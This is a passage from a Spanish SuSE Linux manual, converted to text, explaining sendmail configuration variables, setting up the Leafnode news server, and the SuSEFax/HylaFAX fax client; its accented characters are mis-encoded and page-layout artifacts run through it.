  13250.                            tierra:  #  host  sol.cosmos.univ
  13251.                            sol.cosmos.univ  address  192.168.0.1
  13252.                            sol.cosmos.univ  mail  is  handled  (pri=10)  by  sol.cosmos.univ
  13253.                            sol.cosmos.univ  mail  is  handled  (pri=100)  by  mail-relay.cosmos.univ
  13254.                            Si  no  aparece  ninguna  entrada  para  mail,  habrß  que  pedir  ayuda  al  admin-
  13255.                            istrador de DNS.
  13256.  
  13257.                            Usando  YaST   es  posible  ajustar  los  siguientes  parßmetros  para  la  con-
  13258.                            figuraci≤n____de____E-Mail____en____/etc/rc.config.d/sendmail.rc.config_
  13259.                            3  Alternativas a sendmail  son postfix o qmail ; estos programas no son objeto de discusi≤n en
  13260.                            este libro.
  13261.  
  13262.  
  13263. 204
  13264.        _____________________________________________________6.8.__Vamos_a_escribir_~_Configuraci≤n_de_sendmail_____________________*
  13265.  *______________________
  13266.  
  13267.  
  13268.  
  13269. (ver  apartado  17.6  en  la  pßgina  437Las  variables  en  /etc/rc.config
  13270. ~  Configuraci≤n  de  sistemasection.17.6  tal  como  actualmente    el  fichero
  13271. /etc/mail/README.linux):
  13272.  
  13273.   o   SENDMAIL_TYPE="yes"
  13274.       Esta variable debe tener el valor yes   , en caso de que el fichero de configu-
  13275.       raci≤n de sendmail se deba formar con los valores definidos en /etc/rc.
  13276.       config.d/sendmail.rc.config.  Si quiere generar /etc/sendmail.
  13277.       cf por su cuenta, debe dar a la variable el valor no  .
  13278.  
  13279.   o   SENDMAIL_LOCALHOST=\
  13280.       "localhost  sol.cosmos.univ  www.cosmos.univ"
  13281.       sendmail tiene que saber cußl E-Mail se almacena localmente y cußl tiene
  13282.       como  destino  otra  computadora.   Solo  los  E-Mail  que  van  a  la  com-
  13283.       putadora  local  se  guardan  por  defecto  como  E-Mail  locales.   Usando
  13284.       SENDMAIL_LOCALHOST                  se puede indicar nombres de computadoras adi-
  13285.       cionales  ~  separados  por  espacios  ~  que  se  contemplan  como  si  fueran
  13286.       locales.
  13287.  
  13288.       Ejemplo: La computadora se llama sol.cosmos.univ y es tambiΘn servi-
  13289.       dor web para www.cosmos.univ.  Para que se acepte el E-Mail enviado
  13290.       a www.cosmos.univ, hay que anotar lo siguiente:
  13291.       SENDMAIL_LOCALHOST="localhost  www.cosmos.univ"
  13292.  
  13293.   o   FROM_HEADER=cosmos.univ
  13294.       Normalmente la direcci≤n del remitente es el nombre de la computadora
  13295.       local; este parßmetro permite cambiarlo a cualquier otro nombre.
  13296.  
  13297.       Ejemplo:  La  computadora  se  llama  tierra.cosmos.univ,  pero  el  E-
  13298.       Mail  debe  llegar  con  el  remitente  tux@cosmos.univ             .   Se  hace  con  la
  13299.       siguiente definici≤n:
  13300.       FROM_HEADER=cosmos.univ                     .
  13301.  
  13302.   o   SENDMAIL_SMARTHOST=mail-server.provider.de
  13303.       A  todos  los  E-Mail  no  locales,  sendmail  pregunta  por  los  datos  DNS
  13304.       para  despuΘs  enviarlos  con  el  protocolo  SMTP  a  la  computadora  desti-
  13305.       no. Esta puede estar en cualquier rinc≤n del mundo (donde haya Internet)
  13306.       y la conexi≤n hacia ella puede ser bastante lenta.  Con el parßmetro men-
  13307.       cionado se puede indicar una computadora intermedia que recibe todo el
  13308.       E-Mail no local, para enviarlo luego a su destino.
  13309.  
  13310.       Ejemplo 1:  Con el siguiente ejemplo se puede entregar todo el E-Mail al
  13311.       proveedor, el cual se encarga despuΘs de dejarlo en Internet:
  13312.       SENDMAIL_SMARTHOST=smtp:servidor-correo.proveeder.es                                               .
  13313.  
  13314.       Ejemplo 2:  Si estß conectado vφa UUCP, puede pasar todo el E-Mail no-
  13315.       local al servidor UUCP:
  13316.       SENDMAIL_SMARTHOST=uucp-dom:uucp.cosmos.univ                                        .
  13317.  
  13318.   o   SENDMAIL_NOCANONIFY=no
  13319.       sendmail  comprueba  todas  las  direcciones  de  E-Mail  en  los  encabeza-
  13320.       dos y reemplaza los nombres con los ''Fully Qualified Domain Names''
  13321.       (FQDN) (los nombres de dominio totalmente cualificados).  Esta opci≤n
  13322.       se  puede  desactivar  con  yes    si  al  escribir  los  E-Mail  siempre  pone  el
  13323.       nombre totalmente cualificado o cuando (por una conexi≤n telef≤nica) no
  13324.       siempre tiene acceso a un servidor DNS.
  13325.  
  13326.  
  13327.                                                                                                                                    *
  13328.  *   205
  13329. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  13330.  *_______________________________________@
  13331.  
  13332.  
  13333.  
  13334.                              o   SENDMAIL_ARGS="-bd  -q30m  -om"
  13335.                                  Cuando  la  computadora  arranca,  sendmail  se  inicia  con  los  parßmetros
  13336.                                  que se indican aquφ.
  13337.                                  -q30m     significa que sendmail  comprueba cada 30 minutos si todavφa hay
  13338.                                  E-Mail no enviado en el directorio de cola /var/spool/mqueue.
  13339.                                  -bd   hace que sendmail  se inicie en el ''daemon mode'' (modo daemon)
  13340.                                  para aceptar el E-Mail de otras computadoras a travΘs de la red TCP/IP.
  13341.                                  En caso de conexiones ''dialup'' (conexiones temporales por telΘfono) se
  13342.                                  podrφa p. ej.  suprimir -q30m      y mandar los E-Mail solo con una llamada
  13343.                                  directa con sendmail  -q         ;  esta llamada a su vez se podrφa automatizar
  13344.                                  con una entrada en crontab  y asφ p. ej.  mandar el correo una vez al dφa.
  13345.                                  Otra posibilidad es la de incorporar sendmail  -q           en los scripts de es-
  13346.                                  tablecimiento  de  conexi≤n  con  lo  cual  se  transfiere  el  E-Mail  cada  vez
  13347.                                  que se establece la comunicaci≤n.
  13348.                              o   SENDMAIL_EXPENSIVE=no
  13349.                                  sendmail  intenta pasar inmediatamente el E-Mail a travΘs de SMTP a la
  13350.                                  pr≤xima computadora.  Si la conexi≤n a Internet es temporal (''Dial-On-
  13351.                                  Demand''), tal vez no quiera realizar una conexi≤n al proveedor para cada
  13352.                                  E-Mail que haya escrito.
  13353.                                  Si escoge yes   , todo el E-Mail se guarda primero en el directorio de cola
  13354.                                  /var/spool/mqueue y se envφa mßs tarde.
  13355.  
  13356.                            Todo el E-Mail local se guarda en las carpetas locales de E-Mail
  13357.                            (/var/spool/mail/<name>                      )  usando  el  programa  procmail .    Este  pro-
  13358.                            grama  es  muy  flexible  y  se  explica  en  detalle  en  pßgina  del  manual  de
  13359.                            procmailrc           (man  procmailrc            ),  en  pßgina  del  manual  de  procmailex
  13360.                            (man  procmailex            ) y en pßgina del manual de procmail        (man  procmail          ).
  13361.  
  13362.                            Si no es posible enviar el E-Mail, los mensajes se guardan en el directorio de
  13363.                            cola /var/spool/mqueue y sendmail  los transmite en el pr≤ximo ''Queue-
  13364.                            Run''.   El  intervalo  de  tiempo  de  los  ''Queue-Runs''  debe  indicarse  cuando
  13365.                            se  inicia  sendmail  o  la  transferencia  de  mensajes  comienza  explφcitamente
  13366.                            cuando se ejecuta sendmail  -q         .
  13367.  
  13368.                            Los  ajustes  adicionales  de  sendmail   se  realizan  en  los  ficheros  /etc/
  13369.                            aliases y en algunos ficheros en el directorio /etc/mail/.  Los ficheros
  13370.                            contienen ejemplos desactivados por sφmbolos de comentario. Algunos de los
  13371.                            ficheros de texto deben ser convertidos a ficheros de banco de datos usando
  13372.                            el  programa  makemap ;  este  proceso  se  inicia  automßticamente  ejecutando
  13373.                            SuSEconfig o saliendo de YaST .
  13374.  
  13375.                            Para realizar una configuraci≤n compleja es mejor desactivar la generaci≤n
  13376.                            automßtica  de  /etc/sendmail.cf,  poniendo  SENDMAIL_TYPE=no              ,  y  usar
  13377.                            /etc/mail/linux.mc como plantilla para la configuraci≤n propia. linux.
  13378.                            mc contiene instrucciones para m4 , asφ que
  13379.  
  13380.                                  tierra:  #  m4  /etc/mail/linux.mc  >  /etc/sendmail.cf
  13381.  
  13382.                            genera una configuraci≤n de sendmail  vßlida,  usando las macros en /usr/
  13383.                            share/sendmail.
  13384.  
  13385.                            Los directorios /etc/mail, /usr/share/sendmail y /usr/doc/packages/
  13386.                            sendmail contienen documentaci≤n adicional.  En cuanto a documentaci≤n
  13387.                            en el web,  lo mejor es comenzar con http://www.sendmail.org/.  Para
  13388.  
  13389.  
  13390. 206
  13391.        _______________________________________________________6.9.__News:_Las_noticias_mßs_actuales_de_USENET______________________*
  13392.  *______________________
  13393.  
  13394.  
  13395.  
  13396. tareas  mßs  complejas  probablemente  sea  inevitable  consultar  el  libro  de  la
  13397. editorial  O'Reilly  4 ,  que  contiene  una  documentaci≤n  muy  buena  y  amplia
  13398. sobre la configuraci≤n de sendmail .
  13399.  
  13400.  
  13401.  
  13402. 6.9       News:  Las noticias mßs actuales de USENET
  13403.  
  13404.  
  13405. Uno de los servicios mßs importantes que ofrece Internet es la transmisi≤n
  13406. y  distribuci≤n  de  noticias,  organizadas  por  temas  en  distintos  grupos  (ingl.
  13407. Newsgroups).  Esta parte de Internet se denomina ''USENET'', cuya existen-
  13408. cia hizo posible el desarrollo de Linux y, solo gracias a esta forma de comu-
  13409. nicaci≤n  libre  y  altamente  eficaz,  Linux  sigue  desarrollßndose  rßpidamente
  13410. tal como se pueden arreglar, igual de rßpido, errores del sistema 5 .  Ademßs,
  13411. respecto al soporte, la USENET es un medio importante entre los usuarios de
  13412. Linux.
  13413.  
  13414. La descripci≤n completa de un sistema de noticias con todas sus posibilidades
  13415. (como  p. ej.  los  traspasos  a  otras  computadoras)  serφa  demasiado  para  este
  13416. libro,  asφ que aquφ nos limitamos a la configuraci≤n de un sistema local de
  13417. noticias.
  13418.        _______________________________________________________________________________________________________________________||
  13419.  
  13420.        ||||||||  Para sistemas grandes se recomienda apoyarse en el paquete inn, serie n.                       |||            |
  13421.        ||||||||  En  /usr/doc/packages/inn  hay  consejos  para  la  instalaci≤n  de  INN,                      ||             |
  13422.        ||||||||                                                                                                 ||             |
  13423.        ||||||||  programa tambiΘn preferible para los sistemas UUCP. ~ El soporte de in-                        ||             |
  13424.        ||||||||  stalaci≤n no cubre la configuraci≤n de INN (ver apartado H.1.2 en la pßgi-                     ||             |
  13425.        ||||||||                                                                                                 ||             |
  13426.        ||||||||  na 541Cobertura del soporte de instalaci≤nsubsection.H.1.2).                                   ||             |
  13427.        ||||||||_______________________________________________________________________________________________________________||_
  13428.  
  13429.  
  13430. 6.9.1      El sistema de noticias Leafnode
  13431.  
  13432. El paquete leafnode es un sistema de noticias, id≤neo para redes peque±as
  13433. o  computadoras  solitarias  con  una  conexi≤n  a  Internet  sencilla  y  no  nece-
  13434. sariamente  rßpida  .   El  paquete  contiene  varias  partes:  El  servidor  NNTP
  13435. leafnode  en sφ, el programa fetchnews  (antes fetch) para traer las noticias
  13436. y  el  programa  texpire  para  borrar  las  noticias  antiguas  o  las  que  han  deja-
  13437. do  de  ser  interesantes;  aparte  hay  herramientas  para  administrar  los  datos
  13438. en  /var/spool/news.   El  uso  de  todos  estos  componentes  se  documen-
  13439. ta  en  /usr/doc/packages/leafnode  tal  como  en  pßgina  del  manual  de
  13440. leafnode        (man  8  leafnode           ) y los +  Manpages, que se mencionan allφ.
  13441.        _______________________________________________________________________________________________________________________
  13442.        ||||||||  Consulte tambiΘn las advertencias respecto a la actualizaci≤n en el aparta-                    ||             |
  13443.        ||||||||                                                                                                 ||             |
  13444.        ||||||||  do 15.2.8 en la pßgina 402De 6.2 a 6.3subsection.15.2.8.                                       ||             |
  13445.        ||||||||_______________________________________________________________________________________________________________||_
  13446.  
  13447.  
  13448. Requisitos para la instalaci≤n de Leafnode
  13449.  
  13450.   o   Hay  que  tener  acceso  directo  a  un  servidor  NNTP  externo  a  travΘs  de
  13451.       modem (PPP), una conexi≤n RDSI u otra conexi≤n de red (p. ej.  Ether-
  13452.       net). Desde este servidor NNTP puede recibir entonces las noticias (ingl.
  13453. 4      ____________________________________________________
  13454.   ver [CAR93    ].
  13455. 5  En realidad ahora son muchas las listas de correo, en diversas ßreas, que cumplen con esta
  13456. funci≤n.
  13457.  
  13458.  
  13459.                                                                                                                                    *
  13460.  *   207
  13461. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  13462.  *_______________________________________@
  13463.  
  13464.  
  13465.  
  13466.                                  News).  En caso de duda pregunte a su proveedor de Internet (+  ISP) por
  13467.                                  los datos del servidor NNTP a usar.
  13468.                              o   El paquete leafnode, serie n debe estar instalado.
  13469.  
  13470.                              o   Espacio de disco en /var/spool/news ;-)
  13471.  
  13472.                              o   Pasar por los puntos que figuran a continuaci≤n.
  13473.  
  13474.  
  13475.                            Servidor local de NNTP
  13476.  
  13477.                            Cerci≤rese que Leafnode corre como servidor NNTP local
  13478.  
  13479.                             1.   Ponga  la  variable  <NNTPSERVER>  del  fichero  /etc/rc.config  en
  13480.                                  localhost        .  Por supuesto puede indicar tambiΘn el nombre ''verdadero''
  13481.                                  de  su  computadora  en  lugar  de  localhost         (p. ej.  tierra),  si  su  com-
  13482.                                  putadora estß configurada correctamente; de hecho esto es obligatorio en
  13483.                                  una red.  Lo mßs seguro para definir la variable <NNTPSERVER> es el
  13484.                                  uso de YaST   (ver apartado 3.7.12 en la pßgina 116Cambiar fichero de
  13485.                                  configuraci≤nsubsection.3.7.12), ya que_YaST_ inicia automßticamente el
  13486.                                  script SuSEconfig cuando se sale con |F____1|0del formulario.
  13487.  
  13488.                             2.   Adapte el fichero /etc/leafnode/config a sus necesidades mediante
  13489.                                  un +  Editor .  En la lφnea de server  =        es obligatorio indicar el nombre
  13490.                                  del servidor NNTP de su proveedor.
  13491.  
  13492.                             3.   El inetd      tiene que iniciar leafnode .  Para ello habilite la lφnea con nntp
  13493.                                  en /etc/inetd.conf, borrando en esa misma lφnea el sφmbolo `#' (ver
  13494.                                  fichero 6.9.1).
  13495.  
  13496.                             4.   Inicie  inetd  de  nuevo  a  mano,  para  que  la  nueva  configuraci≤n  tenga
  13497.                                  efecto; para ello puede usar el comando rcinetd  restart             .
  13498.  
  13499.                            ________________________________________________________________________________________________________*
  13500.  *________
  13501.                            | nntp     stream    tcp     nowait    news         /usr/sbin/tcpd                                      *
  13502.  *         |
  13503.                            |                                                                                                       *
  13504.  *         |
  13505.                            |                                                                  /usr/sbin/leafnode                   *
  13506.  *         |
  13507.                            |_______________________________________________________________________________________________________*
  13508.  *________ |
  13509.  
  13510.                                                  Fichero 6.9.1: Entrada en inetd      para leafnode
  13511.  
  13512.  
  13513.                            Ahora a nivel local, estß todo preparado para establecer, por primera vez, el
  13514.                            contacto con el servidor de noticias del proveedor.
  13515.                            ________________________________________________________________________________________________________*
  13516.  *________
  13517.                            |  Con el comando telnet  localhost  119                  puede comprobar si leafnode                   *
  13518.  *        ||||
  13519.                            |                                                                                                       *
  13520.  *        |||
  13521.                            |  responde.  Si es el caso, introduzca quit    , para volver a la lφnea de coman-                      *
  13522.  *        |||
  13523.                            |  do.                                                                                                  *
  13524.  *        |||
  13525.                            |_______________________________________________________________________________________________________*
  13526.  *________|||_
  13527.  
  13528.  
  13529.                            Iniciar y usar el sistema de noticias
  13530.  
  13531.                            Ahora  puede  inicializar  el  sistema.   Si  a·n  no  lo  ha  hecho,  establezca  una
  13532.                            conexi≤n IP hacia su proveedor de Internet (generalmente por modem o In-
  13533.                            ternet). Durante el primer contacto con fetchnews , la informaci≤n disponible
  13534.                            sobre  los  grupos  de  noticias  se  copia  desde  el  servidor  al  directorio  local
  13535.                            /var/spool/news/interesting.groups.  Para conocer en detalle lo que
  13536.                            hace fetchnews        , use la opci≤n -vvv    :
  13537.  
  13538.                                  tierra:~  #  fetchnews  -vvv
  13539.  
  13540.  
  13541. 208
  13542.        _____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
  13543.  *______________________
  13544.  
  13545.  
  13546.  
  13547. A·n  no  hay  artφculos  disponibles  ~  sin  embargo  tiene  que  usar  un  lector
  13548. de noticias NNTP y echar un vistazo a los grupos que todavφa estßn vacφos
  13549. (ver apartado 6.9.1).  leafnode  toma nota de ello y llenarß exactamente estos
  13550. grupos con noticias cuando se ejecute la pr≤xima vez fetchnews        .
  13551.  
  13552. Puede incorporar la llamada a fetchnews         en su script de inicio de conexi≤n
  13553. /etc/ppp/ip-up, para no tener que hacerlo a mano cada vez que se conecte
  13554. a Internet.
  13555.  
  13556.  
  13557.  
  13558. Administrar el sistema de noticias
  13559.  
  13560. leafnode  se dise±≤ seg·n el principio de la auto-administraci≤n.  Esto quiere
  13561. decir que, fetchnews          deja de traer las noticias de un determinado grupo si
  13562. Θstas no fueron consultadas por parte de ning·n usuario, durante un perφodo
  13563. determinado.
  13564.  
  13565. La  ·nica  preocupaci≤n  es  bßsicamente  la  de  borrar  artφculos  antiguos;  de
  13566. esto  se  encarga  texpire .   El  fichero  /etc/crontab  ya  contiene  una  lφnea
  13567. correspondiente  ~  simplemente  borre  el  sφmbolo  de  comentario  `#'  como
  13568. se muestra en fichero 6.9.2 (ítodo debe estar en una sola lφnea!).
  13569.  
  13570.        _______________________________________________________________________________________________________________________
  13571.        |||||||| 0  22  *  *  *  root    test  -x  /usr/sbin/texpire  &&  /usr/sbin/texpire                                     |
  13572.        ||||||||_______________________________________________________________________________________________________________ |
  13573.  
  13574.          Fichero 6.9.2: Lφnea de texpire para leafnode en /etc/crontab
  13575.  
  13576.  
  13577. En la pßgina del manual de leafnode         (man  leafnode          ) hay detalles sobre
  13578. las posibilidades de ajuste que se pueden realizar mediante el fichero /etc/
  13579. leafnode/config.
  13580.  
  13581.  
  13582.  
  13583. Leer las noticias
  13584.  
  13585. Para leer las noticias existen diferentes programas al alcance como p. ej.  nn ,
  13586. tin  o pine ;  se puede usar tambiΘn Netscape  o Emacs .  La elecci≤n es final-
  13587. mente una cuesti≤n de gusto personal.  Es posible configurar los lectores de
  13588. noticias  para  el  acceso  a  un  servidor  de  noticias  ~  lo  usual  en  una  red  ~  o
  13589. para el acceso al directorio ''spool'' local.  La serie n  de SuSE     Linux incluye
  13590. paquetes que estßn configurados de este modo.
  13591.  
  13592. Si se desea acceder al servidor-NNTP leafnode con tin , entonces active lector
  13593. de  noticias  con  el  comando  rtin     (ver  apartado  6.9.1  en  la  pßgina  207El
  13594. sistema de noticias Leafnode subsection.6.9.1).
  13595.  
  13596.  
  13597.  
  13598. 6.10        Linux + Fax:  íUna buena combinaci≤n!
  13599.  
  13600.  
  13601. Hay dos posibilidades para usar su PC Linux como un fax:
  13602.  
  13603.  
  13604.   o   Usar  mgetty  en  combinaci≤n  con  sendfax  y  p. ej. las  herramientas  del
  13605.       paquete g3utils.
  13606.  
  13607.   o   Usar  el  servidor  fax  HylaFAX  p. ej.  en  combinaci≤n  con  SuSEFax ,  el
  13608.       nuevo entorno para fax de SuSE    , escrito completamente en Java.
  13609.  
  13610.  
  13611.                                                                                                                                    *
  13612.  *   209
  13613. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  13614.  *_______________________________________@
  13615.  
  13616.                            ________________________________________________________________________________________________________*
  13617.  *________||
  13618.                            |  A  partir  de  SuSE     Linux  6.3  el  paquete  mgetty  se  ha  dividido  en  tres,                 *
  13619.  *        ||||
  13620.                            || el paquete mgetty,  el paquete sendfax y el paquete sendfax.  Una de                                 *
  13621.  *        ||||
  13622.                            |  las razones es que el paquete hylafax contiene algunos comandos con el                               *
  13623.  *        ||||
  13624.                            |                                                                                                       *
  13625.  *        |||
  13626.                            |  mismo nombre que los del paquete sendfax.                                                            *
  13627.  *        |||
  13628.                            |_______________________________________________________________________________________________________*
  13629.  *________|||_
  13630.  
  13631.                            Los dos apartados siguientes explican el uso y la configuraci≤n de SuSEFax
  13632.                            y HylaFAX  bajo SuSE     Linux.
  13633.  
  13634.  
  13635.                            6.10.1       SuSEFax ~ Un cliente para HylaFAX
  13636.  
  13637.                            Como ya se ha mencionado, SuSEFax  estß escrito en Java, por lo que hace
  13638.                            falta  instalar  el  ''Java  Developers  Kit''  (Kit  para  desarrolladores  en  Java)
  13639.                            en  combinaci≤n  con  el  paquete  susefax.   Si  quiere  usar  SuSEFax  sobre
  13640.                            otra plataforma, lo mejor es instalar el paquete susefax y copiar todos los
  13641.                            ficheros que se encuentran en /usr/lib/SuSEFax.
  13642.  
  13643.  
  13644.                            El ''Wrapper''
  13645.  
  13646.                            SuSEFax  se  inicia  por  medio  de  un  peque±o  script  llamado  ''Wrapper''  (el
  13647.                            "Empaquetador"),  el  cual  activa  el  interpretador  de  Java  con  los  parßmet-
  13648.                            ros  necesarios  y  controla  el  cumplimiento  de  ciertos  requisitos;  este  script
  13649.                            se  encuentra  en  /usr/X11/bin/susefax.   Se  puede  ajustar  el  programa
  13650.                            SuSEFax  con unos parßmetros de entorno, las propiedades del sistema (in-
  13651.                            gl.  System  Properties).      La  tabla  6.2  en  la  pßgina  siguiente  muestra  las
  13652.                            propiedades  del  programa,  sus  significados  y  los  valores  que  se  usan  por
  13653.                            defecto cuando no se pasa ning·n parßmetro al interpretador.  Si el programa
  13654.                            corre bajo un sistema operativo que permite administrar diferentes usuarios,
  13655.                            generalmente carece de sentido indicar alguno de ellos aparte del parßmetro
  13656.                            susefax.images.   Esto  quiere  decir  que  el  sistema  debe  asignar  a  cada
  13657.                            usuario un directorio personal (''home'') como lo hacen los sistemas UNIX
  13658.                            y Windows NT , pero no OS/2 .  En sistemas que no son multiusuario deben
  13659.                            configurarse los valores de susefax.setup.path,  susefax.setup.file
  13660.                            y  susefax.phonebook.file,  ya  que  en  caso  contrario  es  posible  que  el
  13661.                            programa no funcione. Esto no se ha probado a·n.
  13662.  
  13663.  
  13664.                            Para cambiar uno o varios de los parßmetros, simplemente quite los sφmbolos
  13665.                            de comentario detrßs de los nombres de las variables (ver fichero 6.10.1).
  13666.                            ________________________________________________________________________________________________________*
  13667.  *________||
  13668.                            | #  if  you  want  to  store  the  settings  other  than                                               *
  13669.  *         |
  13670.                            |                                                                                                       *
  13671.  *         |
  13672.                            | #  $HOME/.susefaxrc,  then  you  may  place  another  path  and/or                                    *
  13673.  *         |
  13674.                            | #  filename  here                                                                                     *
  13675.  *         |
  13676.                            |                                                                                                       *
  13677.  *         |
  13678.                            |                                                                                                       *
  13679.  *         |
  13680.                            | SETUPDIR=       #  -Dsusefax.setup.path=/donde/sea                                                    *
  13681.  *         |
  13682.                            | SETUPFILE=     #  -Dsusefax.setup.file=/lo/que/sea                                                    *
  13683.  *         |
  13684.                            |                                                                                                       *
  13685.  *         |
  13686.                            |                                                                                                       *
  13687.  *         |
  13688.                            | #  even  the  phonebook  can  be  renamed  to  whatever                                               *
  13689.  *         |
  13690.                            |                                                                                                       *
  13691.  *         |
  13692.                            |                                                                                                       *
  13693.  *         |
  13694.                            | PHONEBOOK=     #  -Dsusefax.phonebook.file=el_nombre_que_sea                                          *
  13695.  *         |
  13696.                            |_______________________________________________________________________________________________________*
  13697.  *________ |
  13698.                                     Fichero 6.10.1: Extracto del Wrapper: /usr/X11/bin/susefax
  13699. 210
  13700.        _____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
  13701.  *______________________
  13702.  
  13703.        ___________________________________________________________________________________________________________________________
  13704.        ||||||||__Propiedad_______________________Valor|def.______|______Significado_________________________________|______________
  13705.        ||||||||  susefax.setup.path          |   $HOME            |     Rama en la cual se guarda el                |
  13706.        ||||||||                              |                    |     fichero de configuraci≤n y el               |
  13707.        ||||||||                              |                    |                                                 |
  13708.        ||||||||                              |                    |     banco  de  datos  de  n·meros               |
  13709.        ||||||||                              |                    |                                                 |
  13710.        ||||||||______________________________|____________________|_____telef≤nicos_________________________________|_____________
  13711.        ||||||||  susefax.setup.file          |   .susefaxrc  |          Nombre  para  el  fichero  de               |
  13712.        ||||||||                              |               |                                                      |
  13713.        ||||||||______________________________|_______________|__________configuraci≤n_______________________________|_____________
  13714.        ||||||||  susefax.phonebook.file  |       .susephone  |          Nombre  del  banco  de  datos               |
  13715.        ||||||||                          |                   |                                                      |
  13716.        ||||||||__________________________|___________________|__________de_n·meros_telef≤nicos______________________|_____________|*
  13717.  *|||
  13718.  
  13719.        ||||||||  susefax.images                  |./images      |       Rama  en  la  que  se  encuen-              |
  13720.        ||||||||                                  |              |       tran las imßgenes necesarias                |
  13721.        ||||||||                                  |              |                                                   |
  13722.        ||||||||__________________________________|______________|_______para_los_dißlogos___________________________|_____________
  13723.  
  13724.                        Tabla 6.2: Las System Properties de SuSEFax
  13725.  
  13726.  
  13727.  
  13728. Instrucciones de uso
  13729.  
  13730. La figura 6.7 en la pßgina siguiente muestra c≤mo aparece la ventana principal
  13731. despuΘs de haber activado la opci≤n `Send  Queue' y haber apretado el bot≤n
  13732. `Get  Status' con el cual se obtiene informaci≤n sobre las tareas que estßn
  13733. actualmente  en  la  cola  de  impresi≤n,  o  sea,  los  faxes  que  se  enviaron  en
  13734. los ·ltimos minutos;  si se activa la opci≤n `Receive  Queue',  se registran
  13735. todos los faxes recibidos durante los ·ltimos dφas y seleccionando la opci≤n
  13736. `Automatic  Renewal/(Actualisation)'  la  lista  de  tareas  se  actualiza
  13737. en intervalos de tiempo.  La duraci≤n de este intervalo se_puede_indicar en
  13738. el  recuadro  por  debajo  del  bot≤n  (confirmar  con  |_____-|).   Seg·n  la  opci≤n
  13739. activada (`Send  Queue' o `Receive  Queue') se anota a la derecha de la
  13740. lista lo que significarφa un doble-click sobre una de las tareas.  En el modo
  13741. `Send  Queue' se puede decidir sobre el efecto del doble-click:  este puede
  13742. ser el de borrar la tarea en la cola o el de tener la posibilidad de modificar
  13743. los parßmetros de la misma.  Con el men· `Extras' se puede seleccionar el
  13744. idioma (inglΘs       o alemßn      ).
  13745.  
  13746.  
  13747. íPrimero la configuraci≤n!
  13748.  
  13749. No se puede obtener ninguna informaci≤n sobre el servidor ni modificar nada
  13750. antes de haber configurado el programa.  Esto se lleva a cabo con la opci≤n
  13751. `Main  settings'  en  el  men·  `Program'.   Todas  las  configuraciones  se
  13752. guardan despuΘs de salir de cualquier cuadro de dißlogo y a su vez se guarda
  13753. el estado actual de la configuraci≤n en el momento de salir del programa.
  13754.  
  13755.  
  13756. Configuraci≤n global
  13757.  
  13758. Los distintos campos tienen los siguientes significados:
  13759.  
  13760. Username:          Aquφ se indica nombre y apellido del usuario. La informaci≤n se
  13761.       necesita para la generaci≤n automßtica de una portada de fax.
  13762.  
  13763. EMail:       El  servidor  de  fax  envφa  informaci≤n  a  esta  direcci≤n  de  E-Mail,
  13764.       cuando p. ej.  se ha quitado un fax de la cola de envφo, por problemas del
  13765.       servidor para entregarlo.
  13766.  
  13767.  
  13768.                                                                                                                                    *
  13769.  *   211
  13770. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  13771.  *_______________________________________@
  13772.  
  13773.  
  13774.  
  13775.                                                                 Figura 6.7: Cola de envφo
  13776.  
  13777.  
  13778.  
  13779.                            User Account:           El  servidor  de  fax  es  capaz  de  dar  acceso  a  determinados
  13780.                                  usuarios y denegarlo a otros. Por lo tanto es preciso indicar aquφ el nombre
  13781.                                  de cuenta como identificaci≤n del usuario frente al servidor.  TambiΘn se
  13782.                                  puede asignar una contrase±a al usuario.
  13783.  
  13784.                            Hostname of Faxserver:                 Es  el  nombre  de  la  computadora  que  ejecuta  el
  13785.                                  servidor de Fax.
  13786.  
  13787.                            Automatic Faxing:              Con  esta  opci≤n  activada  se  comprueba  en  intervalos
  13788.                                  de segundos el fichero que se indica bajo `Path  to  Spool  File'.  Si
  13789.                                  este fichero cambia, se abre automßticamente el cuadro de dißlogo `Send
  13790.                                  Fax'.  Esta  opci≤n  es  bastante  adecuada  cuando  se  imprime  desde  una
  13791.                                  aplicaci≤n (ofimßtica) directamente a un fichero.  De este modo se puede
  13792.                                  enviar  un  Fax  desde  cualquier  aplicaci≤n,  siempre  que  Θsta  sea  capaz
  13793.                                  de convertir el documento en PostScript (ver apartado 6.10.3 en la pßgi-
  13794.                                  na 219Fax-Spooling en UNIX /Linux subsection.6.10.3).
  13795.  
  13796.                            Path to Spool File:            Tiene que indicar la rama completa en la que se encuen-
  13797.                                  tra  el  fichero  Spool  si  desea  enviar  un  fax  automßticamente.   Seleccio-
  13798.                                  nando el bot≤n `Browse', se abre un navegador que le permite buscar el
  13799.  
  13800.  
  13801. 212
  13802.        _____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
  13803.  *______________________
  13804.  
  13805.  
  13806.               Figura 6.8: Cuadro de dißlogo para la configuraci≤n global
  13807.  
  13808.  
  13809.  
  13810.       fichero.
  13811. Path to Faxcover:             Para generar automßticamente una portada se necesita un
  13812.       fichero especial en PostScript. Aquφ se indica la rama completa hacia este
  13813.       fichero.
  13814. Timezone:          Aquφ se define la misma zona de tiempo que hay en la computa-
  13815.       dora local.
  13816. Local (Country):             Aquφ  se  indica  el  paφs  para  conseguir  una  configuraci≤n
  13817.       regional en cuanto a la presentaci≤n de hora y fecha (p. ej.  en la portada
  13818.       de fax)
  13819.  
  13820.  
  13821. Configuraci≤n de tareas
  13822.  
  13823. Directamente despuΘs de una correcta configuraci≤n global, se puede enviar
  13824. el primer fax.  Un fax o un fichero a enviar, se convierte para el servidor de
  13825. fax en una tarea que espera en la cola de envφo a que dicho servidor la realice.
  13826. A  cada  tarea  le  pertenecen  parßmetros  que  pueden  ser  modificados  antes  o
  13827. despuΘs  de  la  entrada  de  la  misma  en  la  cola.   Antes  de  mandar  el  fax,  se
  13828. realiza la modificaci≤n con el dißlogo `Job  settings' que se accede con
  13829. el men· `Extras'. Cada parßmetro tiene el siguiente significado:
  13830.  
  13831. Notification Scheme:               Aquφ se define cußndo el servidor de fax debe pasar
  13832.       un mensaje a la direcci≤n de E-Mail configurada.  Hay cuatro diferentes
  13833.       esquemas:
  13834.  
